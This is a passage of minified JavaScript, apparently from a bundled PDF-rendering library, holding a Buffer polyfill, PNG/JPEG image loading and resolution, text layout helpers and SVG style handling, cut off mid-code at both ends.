rK(e,t,r,n,i){if(e.length===0)return-1;if(typeof r==&quot;string&quot;?(n=r,r=0):r&gt;2147483647?r=2147483647:r&lt;-2147483648&amp;&amp;(r=-2147483648),r=+r,isNaN(r)&amp;&amp;(r=i?0:e.length-1),r&lt;0&amp;&amp;(r=e.length+r),r&gt;=e.length){if(i)return-1;r=e.length-1}else if(r&lt;0)if(i)r=0;else return-1;if(typeof t==&quot;string&quot;&amp;&amp;(t=qt.from(t,n)),ef(t))return t.length===0?-1:ZQ(e,t,r,n,i);if(typeof t==&quot;number&quot;)return t=t&amp;255,qt.TYPED_ARRAY_SUPPORT&amp;&amp;typeof Uint8Array.prototype.indexOf==&quot;function&quot;?i?Uint8Array.prototype.indexOf.call(e,t,r):Uint8Array.prototype.lastIndexOf.call(e,t,r):ZQ(e,[t],r,n,i);throw new TypeError(&quot;val must be string, number or Buffer&quot;)}function ZQ(e,t,r,n,i){var s=1,o=e.length,l=t.length;if(n!==void 0&amp;&amp;(n=String(n).toLowerCase(),n===&quot;ucs2&quot;||n===&quot;ucs-2&quot;||n===&quot;utf16le&quot;||n===&quot;utf-16le&quot;)){if(e.length&lt;2||t.length&lt;2)return-1;s=2,o/=2,l/=2,r/=2}function c(A,y){return s===1?A[y]:A.readUInt16BE(y*s)}var d;if(i){var u=-1;for(d=r;d&lt;o;d++)if(c(e,d)===c(t,u===-1?0:d-u)){if(u===-1&amp;&amp;(u=d),d-u+1===l)return u*s}else u!==-1&amp;&amp;(d-=d-u),u=-1}else for(r+l&gt;o&amp;&amp;(r=o-l),d=r;d&gt;=0;d--){for(var h=!0,p=0;p&lt;l;p++)if(c(e,d+p)!==c(t,p)){h=!1;break}if(h)return d}return-1}qt.prototype.includes=function(t,r,n){return this.indexOf(t,r,n)!==-1};qt.prototype.indexOf=function(t,r,n){return rK(this,t,r,n,!0)};qt.prototype.lastIndexOf=function(t,r,n){return rK(this,t,r,n,!1)};function HDe(e,t,r,n){r=Number(r)||0;var i=e.length-r;n?(n=Number(n),n&gt;i&amp;&amp;(n=i)):n=i;var s=t.length;if(s%2!==0)throw new TypeError(&quot;Invalid hex string&quot;);n&gt;s/2&amp;&amp;(n=s/2);for(var o=0;o&lt;n;++o){var l=parseInt(t.substr(o*2,2),16);if(isNaN(l))return o;e[r+o]=l}return o}function qDe(e,t,r,n){return QE(Hw(t,e.length-r),e,r,n)}function nK(e,t,r,n){return QE(a7e(t),e,r,n)}function GDe(e,t,r,n){return nK(e,t,r,n)}function VDe(e,t,r,n){return QE(lK(t),e,r,n)}function WDe(e,t,r,n){return QE(s7e(t,e.length-r),e,r,n)}qt.prototype.write=function(t,r,n,i){if(r===void 0)i=&quot;utf8&quot;,n=this.length,r=0;else if(n===void 0&amp;&amp;typeof r==&quot;string&quot;)i=r,n=this.length,r=0;else if(isFinite(r))r=r|0,isFinite(n)?(n=n|0,i===void 0&amp;&amp;(i=&quot;utf8&quot;)):(i=n,n=void 0);else throw new Error(&quot;Buffer.write(string, encoding, offset[, length]) is no longer supported&quot;);var s=this.length-r;if((n===void 0||n&gt;s)&amp;&amp;(n=s),t.length&gt;0&amp;&amp;(n&lt;0||r&lt;0)||r&gt;this.length)throw new RangeError(&quot;Attempt to write outside buffer bounds&quot;);i||(i=&quot;utf8&quot;);for(var o=!1;;)switch(i){case&quot;hex&quot;:return HDe(this,t,r,n);case&quot;utf8&quot;:case&quot;utf-8&quot;:return qDe(this,t,r,n);case&quot;ascii&quot;:return nK(this,t,r,n);case&quot;latin1&quot;:case&quot;binary&quot;:return GDe(this,t,r,n);case&quot;base64&quot;:return VDe(this,t,r,n);case&quot;ucs2&quot;:case&quot;ucs-2&quot;:case&quot;utf16le&quot;:case&quot;utf-16le&quot;:return WDe(this,t,r,n);default:if(o)throw new TypeError(&quot;Unknown encoding: &quot;+i);i=(&quot;&quot;+i).toLowerCase(),o=!0}};qt.prototype.toJSON=function(){return{type:&quot;Buffer&quot;,data:Array.prototype.slice.call(this._arr||this,0)}};function KDe(e,t,r){return t===0&amp;&amp;r===e.length?YQ(e):YQ(e.slice(t,r))}function iK(e,t,r){r=Math.min(e.length,r);for(var n=[],i=t;i&lt;r;){var s=e[i],o=null,l=s&gt;239?4:s&gt;223?3:s&gt;191?2:1;if(i+l&lt;=r){var c,d,u,h;switch(l){case 1:s&lt;128&amp;&amp;(o=s);break;case 2:c=e[i+1],(c&amp;192)===128&amp;&amp;(h=(s&amp;31)&lt;&lt;6|c&amp;63,h&gt;127&amp;&amp;(o=h));break;case 3:c=e[i+1],d=e[i+2],(c&amp;192)===128&amp;&amp;(d&amp;192)===128&amp;&amp;(h=(s&amp;15)&lt;&lt;12|(c&amp;63)&lt;&lt;6|d&amp;63,h&gt;2047&amp;&amp;(h&lt;55296||h&gt;57343)&amp;&amp;(o=h));break;case 4:c=e[i+1],d=e[i+2],u=e[i+3],(c&amp;192)===128&amp;&amp;(d&amp;192)===128&amp;&amp;(u&amp;192)===128&amp;&amp;(h=(s&amp;15)&lt;&lt;18|(c&amp;63)&lt;&lt;12|(d&amp;63)&lt;&lt;6|u&amp;63,h&gt;65535&amp;&amp;h&lt;1114112&amp;&amp;(o=h))}}o===null?(o=65533,l=1):o&gt;65535&amp;&amp;(o-=65536,n.push(o&gt;&gt;&gt;10&amp;1023|55296),o=56320|o&amp;1023),n.push(o),i+=l}return YDe(n)}var JQ=4096;function YDe(e){var t=e.length;if(t&lt;=JQ)return String.fromCharCode.apply(String,e);for(var r=&quot;&quot;,n=0;n&lt;t;)r+=String.fromCharCode.apply(String,e.slice(n,n+=JQ));return r}function ZDe(e,t,r){var n=&quot;&quot;;r=Math.min(e.length,r);for(var i=t;i&lt;r;++i)n+=String.fromCharCode(e[i]&amp;127);return n}function JDe(e,t,r){var n=&quot;&quot;;r=Math.min(e.length,r);for(var i=t;i&lt;r;++i)n+=String.fromCharCode(e[i]);return n}function XDe(e,t,r){var n=e.length;(!t||t&lt;0)&amp;&amp;(t=0),(!r||r&lt;0||r&gt;n)&amp;&amp;(r=n);for(var i=&quot;&quot;,s=t;s&lt;r;++s)i+=i7e(e[s]);return i}function e7e(e,t,r){for(var n=e.slice(t,r),i=&quot;&quot;,s=0;s&lt;n.length;s+=2)i+=String.fromCharCode(n[s]+n[s+1]*256);return i}qt.prototype.slice=function(t,r){var n=this.length;t=~~t,r=r===void 0?n:~~r,t&lt;0?(t+=n,t&lt;0&amp;&amp;(t=0)):t&gt;n&amp;&amp;(t=n),r&lt;0?(r+=n,r&lt;0&amp;&amp;(r=0)):r&gt;n&amp;&amp;(r=n),r&lt;t&amp;&amp;(r=t);var i;if(qt.TYPED_ARRAY_SUPPORT)i=this.subarray(t,r),i.__proto__=qt.prototype;else{var s=r-t;i=new qt(s,void 0);for(var o=0;o&lt;s;++o)i[o]=this[o+t]}return i};function Lo(e,t,r){if(e%1!==0||e&lt;0)throw new RangeError(&quot;offset is not uint&quot;);if(e+t&gt;r)throw new RangeError(&quot;Trying to access beyond buffer length&quot;)}qt.prototype.readUIntLE=function(t,r,n){t=t|0,r=r|0,n||Lo(t,r,this.length);for(var i=this[t],s=1,o=0;++o&lt;r&amp;&amp;(s*=256);)i+=this[t+o]*s;return i};qt.prototype.readUIntBE=function(t,r,n){t=t|0,r=r|0,n||Lo(t,r,this.length);for(var i=this[t+--r],s=1;r&gt;0&amp;&amp;(s*=256);)i+=this[t+--r]*s;return i};qt.prototype.readUInt8=function(t,r){return r||Lo(t,1,this.length),this[t]};qt.prototype.readUInt16LE=function(t,r){return r||Lo(t,2,this.length),this[t]|this[t+1]&lt;&lt;8};qt.prototype.readUInt16BE=function(t,r){return r||Lo(t,2,this.length),this[t]&lt;&lt;8|this[t+1]};qt.prototype.readUInt32LE=function(t,r){return r||Lo(t,4,this.length),(this[t]|this[t+1]&lt;&lt;8|this[t+2]&lt;&lt;16)+this[t+3]*16777216};qt.prototype.readUInt32BE=function(t,r){return r||Lo(t,4,this.length),this[t]*16777216+(this[t+1]&lt;&lt;16|this[t+2]&lt;&lt;8|this[t+3])};qt.prototype.readIntLE=function(t,r,n){t=t|0,r=r|0,n||Lo(t,r,this.length);for(var i=this[t],s=1,o=0;++o&lt;r&amp;&amp;(s*=256);)i+=this[t+o]*s;return s*=128,i&gt;=s&amp;&amp;(i-=Math.pow(2,8*r)),i};qt.prototype.readIntBE=function(t,r,n){t=t|0,r=r|0,n||Lo(t,r,this.length);for(var i=r,s=1,o=this[t+--i];i&gt;0&amp;&amp;(s*=256);)o+=this[t+--i]*s;return s*=128,o&gt;=s&amp;&amp;(o-=Math.pow(2,8*r)),o};qt.prototype.readInt8=function(t,r){return r||Lo(t,1,this.length),this[t]&amp;128?(255-this[t]+1)*-1:this[t]};qt.prototype.readInt16LE=function(t,r){r||Lo(t,2,this.length);var n=this[t]|this[t+1]&lt;&lt;8;return n&amp;32768?n|4294901760:n};qt.prototype.readInt16BE=function(t,r){r||Lo(t,2,this.length);var n=this[t+1]|this[t]&lt;&lt;8;return n&amp;32768?n|4294901760:n};qt.prototype.readInt32LE=function(t,r){return r||Lo(t,4,this.length),this[t]|this[t+1]&lt;&lt;8|this[t+2]&lt;&lt;16|this[t+3]&lt;&lt;24};qt.prototype.readInt32BE=function(t,r){return r||Lo(t,4,this.length),this[t]&lt;&lt;24|this[t+1]&lt;&lt;16|this[t+2]&lt;&lt;8|this[t+3]};qt.prototype.readFloatLE=function(t,r){return r||Lo(t,4,this.length),TE(this,t,!0,23,4)};qt.prototype.readFloatBE=function(t,r){return r||Lo(t,4,this.length),TE(this,t,!1,23,4)};qt.prototype.readDoubleLE=function(t,r){return r||Lo(t,8,this.length),TE(this,t,!0,52,8)};qt.prototype.readDoubleBE=function(t,r){return r||Lo(t,8,this.length),TE(this,t,!1,52,8)};function Dc(e,t,r,n,i,s){if(!ef(e))throw new TypeError(&#039;&quot;buffer&quot; argument must be a Buffer instance&#039;);if(t&gt;i||t&lt;s)throw new RangeError(&#039;&quot;value&quot; argument is out of bounds&#039;);if(r+n&gt;e.length)throw new RangeError(&quot;Index out of range&quot;)}qt.prototype.writeUIntLE=function(t,r,n,i){if(t=+t,r=r|0,n=n|0,!i){var s=Math.pow(2,8*n)-1;Dc(this,t,r,n,s,0)}var o=1,l=0;for(this[r]=t&amp;255;++l&lt;n&amp;&amp;(o*=256);)this[r+l]=t/o&amp;255;return r+n};qt.prototype.writeUIntBE=function(t,r,n,i){if(t=+t,r=r|0,n=n|0,!i){var s=Math.pow(2,8*n)-1;Dc(this,t,r,n,s,0)}var o=n-1,l=1;for(this[r+o]=t&amp;255;--o&gt;=0&amp;&amp;(l*=256);)this[r+o]=t/l&amp;255;return r+n};qt.prototype.writeUInt8=function(t,r,n){return t=+t,r=r|0,n||Dc(this,t,r,1,255,0),qt.TYPED_ARRAY_SUPPORT||(t=Math.floor(t)),this[r]=t&amp;255,r+1};function RE(e,t,r,n){t&lt;0&amp;&amp;(t=65535+t+1);for(var i=0,s=Math.min(e.length-r,2);i&lt;s;++i)e[r+i]=(t&amp;255&lt;&lt;8*(n?i:1-i))&gt;&gt;&gt;(n?i:1-i)*8}qt.prototype.writeUInt16LE=function(t,r,n){return t=+t,r=r|0,n||Dc(this,t,r,2,65535,0),qt.TYPED_ARRAY_SUPPORT?(this[r]=t&amp;255,this[r+1]=t&gt;&gt;&gt;8):RE(this,t,r,!0),r+2};qt.prototype.writeUInt16BE=function(t,r,n){return t=+t,r=r|0,n||Dc(this,t,r,2,65535,0),qt.TYPED_ARRAY_SUPPORT?(this[r]=t&gt;&gt;&gt;8,this[r+1]=t&amp;255):RE(this,t,r,!1),r+2};function PE(e,t,r,n){t&lt;0&amp;&amp;(t=4294967295+t+1);for(var i=0,s=Math.min(e.length-r,4);i&lt;s;++i)e[r+i]=t&gt;&gt;&gt;(n?i:3-i)*8&amp;255}qt.prototype.writeUInt32LE=function(t,r,n){return t=+t,r=r|0,n||Dc(this,t,r,4,4294967295,0),qt.TYPED_ARRAY_SUPPORT?(this[r+3]=t&gt;&gt;&gt;24,this[r+2]=t&gt;&gt;&gt;16,this[r+1]=t&gt;&gt;&gt;8,this[r]=t&amp;255):PE(this,t,r,!0),r+4};qt.prototype.writeUInt32BE=function(t,r,n){return t=+t,r=r|0,n||Dc(this,t,r,4,4294967295,0),qt.TYPED_ARRAY_SUPPORT?(this[r]=t&gt;&gt;&gt;24,this[r+1]=t&gt;&gt;&gt;16,this[r+2]=t&gt;&gt;&gt;8,this[r+3]=t&amp;255):PE(this,t,r,!1),r+4};qt.prototype.writeIntLE=function(t,r,n,i){if(t=+t,r=r|0,!i){var s=Math.pow(2,8*n-1);Dc(this,t,r,n,s-1,-s)}var o=0,l=1,c=0;for(this[r]=t&amp;255;++o&lt;n&amp;&amp;(l*=256);)t&lt;0&amp;&amp;c===0&amp;&amp;this[r+o-1]!==0&amp;&amp;(c=1),this[r+o]=(t/l&gt;&gt;0)-c&amp;255;return r+n};qt.prototype.writeIntBE=function(t,r,n,i){if(t=+t,r=r|0,!i){var s=Math.pow(2,8*n-1);Dc(this,t,r,n,s-1,-s)}var o=n-1,l=1,c=0;for(this[r+o]=t&amp;255;--o&gt;=0&amp;&amp;(l*=256);)t&lt;0&amp;&amp;c===0&amp;&amp;this[r+o+1]!==0&amp;&amp;(c=1),this[r+o]=(t/l&gt;&gt;0)-c&amp;255;return r+n};qt.prototype.writeInt8=function(t,r,n){return t=+t,r=r|0,n||Dc(this,t,r,1,127,-128),qt.TYPED_ARRAY_SUPPORT||(t=Math.floor(t)),t&lt;0&amp;&amp;(t=255+t+1),this[r]=t&amp;255,r+1};qt.prototype.writeInt16LE=function(t,r,n){return t=+t,r=r|0,n||Dc(this,t,r,2,32767,-32768),qt.TYPED_ARRAY_SUPPORT?(this[r]=t&amp;255,this[r+1]=t&gt;&gt;&gt;8):RE(this,t,r,!0),r+2};qt.prototype.writeInt16BE=function(t,r,n){return t=+t,r=r|0,n||Dc(this,t,r,2,32767,-32768),qt.TYPED_ARRAY_SUPPORT?(this[r]=t&gt;&gt;&gt;8,this[r+1]=t&amp;255):RE(this,t,r,!1),r+2};qt.prototype.writeInt32LE=function(t,r,n){return t=+t,r=r|0,n||Dc(this,t,r,4,2147483647,-2147483648),qt.TYPED_ARRAY_SUPPORT?(this[r]=t&amp;255,this[r+1]=t&gt;&gt;&gt;8,this[r+2]=t&gt;&gt;&gt;16,this[r+3]=t&gt;&gt;&gt;24):PE(this,t,r,!0),r+4};qt.prototype.writeInt32BE=function(t,r,n){return t=+t,r=r|0,n||Dc(this,t,r,4,2147483647,-2147483648),t&lt;0&amp;&amp;(t=4294967295+t+1),qt.TYPED_ARRAY_SUPPORT?(this[r]=t&gt;&gt;&gt;24,this[r+1]=t&gt;&gt;&gt;16,this[r+2]=t&gt;&gt;&gt;8,this[r+3]=t&amp;255):PE(this,t,r,!1),r+4};function aK(e,t,r,n,i,s){if(r+n&gt;e.length)throw new RangeError(&quot;Index out of range&quot;);if(r&lt;0)throw new RangeError(&quot;Index out of range&quot;)}function sK(e,t,r,n,i){return i||aK(e,t,r,4),ZW(e,t,r,n,23,4),r+4}qt.prototype.writeFloatLE=function(t,r,n){return sK(this,t,r,!0,n)};qt.prototype.writeFloatBE=function(t,r,n){return sK(this,t,r,!1,n)};function oK(e,t,r,n,i){return i||aK(e,t,r,8),ZW(e,t,r,n,52,8),r+8}qt.prototype.writeDoubleLE=function(t,r,n){return oK(this,t,r,!0,n)};qt.prototype.writeDoubleBE=function(t,r,n){return oK(this,t,r,!1,n)};qt.prototype.copy=function(t,r,n,i){if(n||(n=0),!i&amp;&amp;i!==0&amp;&amp;(i=this.length),r&gt;=t.length&amp;&amp;(r=t.length),r||(r=0),i&gt;0&amp;&amp;i&lt;n&amp;&amp;(i=n),i===n||t.length===0||this.length===0)return 0;if(r&lt;0)throw new RangeError(&quot;targetStart out of bounds&quot;);if(n&lt;0||n&gt;=this.length)throw new RangeError(&quot;sourceStart out of bounds&quot;);if(i&lt;0)throw new RangeError(&quot;sourceEnd out of bounds&quot;);i&gt;this.length&amp;&amp;(i=this.length),t.length-r&lt;i-n&amp;&amp;(i=t.length-r+n);var s=i-n,o;if(this===t&amp;&amp;n&lt;r&amp;&amp;r&lt;i)for(o=s-1;o&gt;=0;--o)t[o+r]=this[o+n];else if(s&lt;1e3||!qt.TYPED_ARRAY_SUPPORT)for(o=0;o&lt;s;++o)t[o+r]=this[o+n];else Uint8Array.prototype.set.call(t,this.subarray(n,n+s),r);return s};qt.prototype.fill=function(t,r,n,i){if(typeof t==&quot;string&quot;){if(typeof r==&quot;string&quot;?(i=r,r=0,n=this.length):typeof n==&quot;string&quot;&amp;&amp;(i=n,n=this.length),t.length===1){var s=t.charCodeAt(0);s&lt;256&amp;&amp;(t=s)}if(i!==void 0&amp;&amp;typeof i!=&quot;string&quot;)throw new TypeError(&quot;encoding must be a string&quot;);if(typeof i==&quot;string&quot;&amp;&amp;!qt.isEncoding(i))throw new TypeError(&quot;Unknown encoding: &quot;+i)}else typeof t==&quot;number&quot;&amp;&amp;(t=t&amp;255);if(r&lt;0||this.length&lt;r||this.length&lt;n)throw new RangeError(&quot;Out of range index&quot;);if(n&lt;=r)return this;r=r&gt;&gt;&gt;0,n=n===void 0?this.length:n&gt;&gt;&gt;0,t||(t=0);var o;if(typeof t==&quot;number&quot;)for(o=r;o&lt;n;++o)this[o]=t;else{var l=ef(t)?t:Hw(new qt(t,i).toString()),c=l.length;for(o=0;o&lt;n-r;++o)this[o+r]=l[o%c]}return this};var t7e=/[^+\/0-9A-Za-z-_]/g;function r7e(e){if(e=n7e(e).replace(t7e,&quot;&quot;),e.length&lt;2)return&quot;&quot;;for(;e.length%4!==0;)e=e+&quot;=&quot;;return e}function n7e(e){return e.trim?e.trim():e.replace(/^\s+|\s+$/g,&quot;&quot;)}function i7e(e){return e&lt;16?&quot;0&quot;+e.toString(16):e.toString(16)}function Hw(e,t){t=t||1/0;for(var r,n=e.length,i=null,s=[],o=0;o&lt;n;++o){if(r=e.charCodeAt(o),r&gt;55295&amp;&amp;r&lt;57344){if(!i){if(r&gt;56319){(t-=3)&gt;-1&amp;&amp;s.push(239,191,189);continue}else if(o+1===n){(t-=3)&gt;-1&amp;&amp;s.push(239,191,189);continue}i=r;continue}if(r&lt;56320){(t-=3)&gt;-1&amp;&amp;s.push(239,191,189),i=r;continue}r=(i-55296&lt;&lt;10|r-56320)+65536}else i&amp;&amp;(t-=3)&gt;-1&amp;&amp;s.push(239,191,189);if(i=null,r&lt;128){if((t-=1)&lt;0)break;s.push(r)}else if(r&lt;2048){if((t-=2)&lt;0)break;s.push(r&gt;&gt;6|192,r&amp;63|128)}else if(r&lt;65536){if((t-=3)&lt;0)break;s.push(r&gt;&gt;12|224,r&gt;&gt;6&amp;63|128,r&amp;63|128)}else if(r&lt;1114112){if((t-=4)&lt;0)break;s.push(r&gt;&gt;18|240,r&gt;&gt;12&amp;63|128,r&gt;&gt;6&amp;63|128,r&amp;63|128)}else throw new Error(&quot;Invalid code point&quot;)}return s}function a7e(e){for(var t=[],r=0;r&lt;e.length;++r)t.push(e.charCodeAt(r)&amp;255);return t}function s7e(e,t){for(var r,n,i,s=[],o=0;o&lt;e.length&amp;&amp;!((t-=2)&lt;0);++o)r=e.charCodeAt(o),n=r&gt;&gt;8,i=r%256,s.push(i),s.push(n);return s}function lK(e){return RDe(r7e(e))}function QE(e,t,r,n){for(var i=0;i&lt;n&amp;&amp;!(i+r&gt;=t.length||i&gt;=e.length);++i)t[i+r]=e[i];return i}function o7e(e){return e!==e}function l7e(e){return e!=null&amp;&amp;(!!e._isBuffer||cK(e)||c7e(e))}function cK(e){return!!e.constructor&amp;&amp;typeof e.constructor.isBuffer==&quot;function&quot;&amp;&amp;e.constructor.isBuffer(e)}function c7e(e){return typeof e.readFloatLE==&quot;function&quot;&amp;&amp;typeof e.slice==&quot;function&quot;&amp;&amp;cK(e.slice(0,0))}class FE{data;width;height;format;constructor(t){const r=new $G(t);this.data=t,this.width=r.width,this.height=r.height,this.format=&quot;png&quot;}static isValid(t){try{return!!new FE(t)}catch{return!1}}}class uK{data;width;height;format;constructor(t){if(this.data=t,this.format=&quot;jpeg&quot;,this.width=0,this.height=0,t.readUInt16BE(0)!==65496)throw new Error(&quot;SOI not found in JPEG&quot;);const r=pq.decode(this.data);let n;for(let i=0;i&lt;r.length;i+=1){const s=r[i];s.name===&quot;EXIF&quot;&amp;&amp;s.entries.orientation&amp;&amp;(n=s.entries.orientation),s.name===&quot;SOF&quot;&amp;&amp;(this.width||=s.width,this.height||=s.height)}n&gt;4&amp;&amp;([this.width,this.height]=[this.height,this.width])}static isValid(t){return t&amp;&amp;qt.isBuffer(t)&amp;&amp;t.readUInt16BE(0)===65496}}const u7e=({limit:e=100}={})=&gt;{let t={},r=[];return{get:n=&gt;n?t[n]:null,set:(n,i)=&gt;{r.push(n),r.length&gt;e&amp;&amp;delete t[r.shift()],t[n]=i},reset:()=&gt;{t={},r=[]},length:()=&gt;r.length}},w3=u7e({limit:30}),dK=qt.isBuffer,fK=e=&gt;typeof Blob&lt;&quot;u&quot;&amp;&amp;e instanceof Blob,hK=e=&gt;&quot;data&quot;in e,d7e=e=&gt;&quot;uri&quot;in e&amp;&amp;/^data:image\/[a-zA-Z]*;base64,[^&quot;]*/g.test(e.uri),f7e=async e=&gt;{const{method:t=&quot;GET&quot;,headers:r,body:n,credentials:i}=e,o=await(await fetch(e.uri,{method:t,headers:r,body:n,credentials:i})).arrayBuffer();return qt.from(o)},mK=e=&gt;{const t=e.toLowerCase();return t===&quot;jpg&quot;||t===&quot;jpeg&quot;||t===&quot;png&quot;},h7e=e=&gt;{let t;return uK.isValid(e)?t=&quot;jpg&quot;:FE.isValid(e)&amp;&amp;(t=&quot;png&quot;),t};function Uy(e,t){switch(t.toLowerCase()){case&quot;jpg&quot;:case&quot;jpeg&quot;:return new uK(e);case&quot;png&quot;:return new FE(e);default:return null}}const m7e=async({uri:e})=&gt;{const t=/^data:image\/([a-zA-Z]*);base64,([^&quot;]*)/g.exec(e);if(!t)throw new Error(`Invalid base64 image: ${e}`);const r=t[1],n=t[2];if(!mK(r))throw new Error(`Base64 image invalid format: ${r}`);return Uy(qt.from(n,&quot;base64&quot;),r)},p7e=async e=&gt;{if(e.data&amp;&amp;e.format)return Uy(e.data,e.format);throw new Error(`Invalid data given for local file: ${JSON.stringify(e)}`)},pK=async e=&gt;{const t=h7e(e);return t?Uy(e,t):null},g7e=async e=&gt;{const{type:t}=e;if(!t||t===&quot;application/octet-stream&quot;){const i=await e.arrayBuffer(),s=qt.from(i);return pK(s)}if(!t.startsWith(&quot;image/&quot;))throw new Error(`Invalid blob type: ${t}`);const r=t.replace(&quot;image/&quot;,&quot;&quot;);if(!mK(r))throw new Error(`Invalid blob type: ${t}`);const n=await e.arrayBuffer();return Uy(qt.from(n),r)},A7e=e=&gt;{const t=e[0]===137&amp;&amp;e[1]===80&amp;&amp;e[2]===78&amp;&amp;e[3]===71&amp;&amp;e[4]===13&amp;&amp;e[5]===10&amp;&amp;e[6]===26&amp;&amp;e[7]===10,r=e[0]===255&amp;&amp;e[1]===216&amp;&amp;e[2]===255;let n=&quot;&quot;;if(t)n=&quot;png&quot;;else if(r)n=&quot;jpg&quot;;else throw new Error(&quot;Not valid image extension&quot;);return n},x7e=async e=&gt;{const t=await f7e(e),r=A7e(t);return Uy(t,r)},v7e=e=&gt;fK(e)||dK(e)?null:hK(e)?e.data.toString():e.uri,gK=(e,{cache:t=!0}={})=&gt;{let r;const n=v7e(e);if(fK(e))r=g7e(e);else if(dK(e))r=pK(e);else{if(t&amp;&amp;w3.get(n))return w3.get(n);d7e(e)?r=m7e(e):hK(e)?r=p7e(e):r=x7e(e)}if(!r)throw new Error(&quot;Cannot resolve image&quot;);return t&amp;&amp;n&amp;&amp;w3.set(n,r),r},AK=(e,t)=&gt;{switch(t){case&quot;uppercase&quot;:return e.toUpperCase();case&quot;lowercase&quot;:return e.toLowerCase();case&quot;capitalize&quot;:return Q6e(e);case&quot;upperfirst&quot;:return Qv(e);default:return e}},y7e=e=&gt;e.type===ZS,b7e=e=&gt;e.type===Qg,w7e={bidi:MW,linebreaker:UW,justification:HW,textDecoration:qW,scriptItemizer:GW,wordHyphenation:WW,fontSubstitution:KW},E7e=LW(w7e),xK=(e,t)=&gt;{if(!t)return[{string:&quot;&quot;}];const r=[],{fill:n=&quot;black&quot;,fontFamily:i=&quot;Helvetica&quot;,fontWeight:s,fontStyle:o,fontSize:l=18,textDecorationColor:c,textDecorationStyle:d,textTransform:u,opacity:h}=t.props,p=t.props.textDecoration,A=typeof i==&quot;string&quot;?[i]:[...i||[]];A.push(&quot;Helvetica&quot;);const v={font:A.map(w=&gt;{const j={fontFamily:w,fontWeight:s,fontStyle:o};return e.getFont(j)?.data}),opacity:h,fontSize:l,color:n,underlineStyle:d,underline:p===&quot;underline&quot;||p===&quot;underline line-through&quot;||p===&quot;line-through underline&quot;,underlineColor:c||n,strike:p===&quot;line-through&quot;||p===&quot;underline line-through&quot;||p===&quot;line-through underline&quot;,strikeStyle:d,strikeColor:c||n};for(let w=0;w&lt;t.children.length;w+=1){const j=t.children[w];b7e(j)?r.push({string:AK(j.value,u),attributes:v}):j&amp;&amp;r.push(...xK(e,j))}return r},C7e=(e,t)=&gt;A8(xK(e,t)),XQ=999999999999,I7e={before:-.5,after:-.5},j7e=e=&gt;(t,r)=&gt;{const n=C7e(e,t),i=t.props.x===void 0?r:t.props.x,s=t.props?.y||0,o={x:i,y:s,width:XQ,height:XQ},c={hyphenationCallback:t.props.hyphenationCallback||e?.getHyphenationCallback()||null,shrinkWhitespaceFactor:I7e},d=E7e(n,o,c).flat();return Object.assign({},t,{lines:d})},N7e=e=&gt;{const t=e.children.map((r,n)=&gt;{if(!y7e(r))return r;const i=r.children[0];return r.props.x===void 0&amp;&amp;n&lt;e.children.length-1&amp;&amp;i?.value?Object.assign({},r,{children:[{...i,value:`${i.value} `}]}):r},[]);return Object.assign({},e,{children:t})},S7e=(e,t)=&gt;{if(!t.children)return t;let r=t.props?.x||0;const n=j7e(e),s=N7e(t).children.map(o=&gt;{const l=n(o,r);return r+=l.lines[0].xAdvance,l});return Object.assign({},t,{children:s})},B7e=e=&gt;e.type===hH,k7e=e=&gt;((e.children||[]).find(B7e)?.children||[]).reduce((i,s)=&gt;{const o=s.props?.id;return o&amp;&amp;(i[o]=s),i},{}),_7e=e=&gt;e.type!==hH,D7e=e=&gt;{if(!e.children)return e;const t=e.children.filter(_7e);return Object.assign({},e,{children:t})},eF=/url\([&#039;&quot;]?#([^&#039;&quot;]+)[&#039;&quot;]?\)/,tF=(e,t)=&gt;{if(!t)return;if(!eF.test(t))return t;const r=t.match(eF);return e[r[1]]},vK=e=&gt;t=&gt;{const r=t.props,n=&quot;fill&quot;in r?tF(e,r?.fill):void 0,i=&quot;clipPath&quot;in r?tF(e,r?.clipPath):void 0,s=Object.assign({},t.props,{fill:n,clipPath:i}),o=t.children?t.children.map(vK(e)):void 0;return Object.assign({},t,{props:s,children:o})},T7e=e=&gt;{if(!e.children)return e;const t=k7e(e),r=e.children.map(vK(t));return Object.assign({},e,{children:r})},R7e=e=&gt;D7e(T7e(e)),yK=e=&gt;{if(!e)return null;if(typeof e!=&quot;string&quot;)return e;const t=e.split(/[,\s]+/).map(Cs);return t.length!==4?null:{minX:t[0],minY:t[1],maxX:t[2],maxY:t[3]}},P7e=e=&gt;{const t=yK(e.props.viewBox);return t?{width:t.maxX,height:t.maxY}:e.props.width&amp;&amp;e.props.height?{width:Cs(e.props.width),height:Cs(e.props.height)}:{width:0,height:0}},bK=[&quot;x&quot;,&quot;y&quot;,&quot;clipPath&quot;,&quot;clipRule&quot;,&quot;opacity&quot;,&quot;fill&quot;,&quot;fillOpacity&quot;,&quot;fillRule&quot;,&quot;stroke&quot;,&quot;strokeLinecap&quot;,&quot;strokeLinejoin&quot;,&quot;strokeOpacity&quot;,&quot;strokeWidth&quot;,&quot;textAnchor&quot;,&quot;dominantBaseline&quot;,&quot;color&quot;,&quot;fontFamily&quot;,&quot;fontSize&quot;,&quot;fontStyle&quot;,&quot;fontWeight&quot;,&quot;letterSpacing&quot;,&quot;opacity&quot;,&quot;textDecoration&quot;,&quot;lineHeight&quot;,&quot;textAlign&quot;,&quot;visibility&quot;,&quot;wordSpacing&quot;],Q7e=L6e([&quot;x&quot;],bK),F7e={[rr]:Q7e},O7e=e=&gt;{const t=e.props||{},r=F7e[e.type]??bK;return u8(r,t)},wK=e=&gt;{if(!e.children)return e;const t=O7e(e),r=e.children.map(n=&gt;{const i=Object.assign({},t,n.props||{}),s=Object.assign({},n,{props:i});return wK(s)});return Object.assign({},e,{children:r})},L7e=e=&gt;{if(typeof e!=&quot;string&quot;)return e;const t=e.replace(/[\s\r\t\n]+/gm,&quot; &quot;).replace(/^defer\s/,&quot;&quot;).split(&quot; 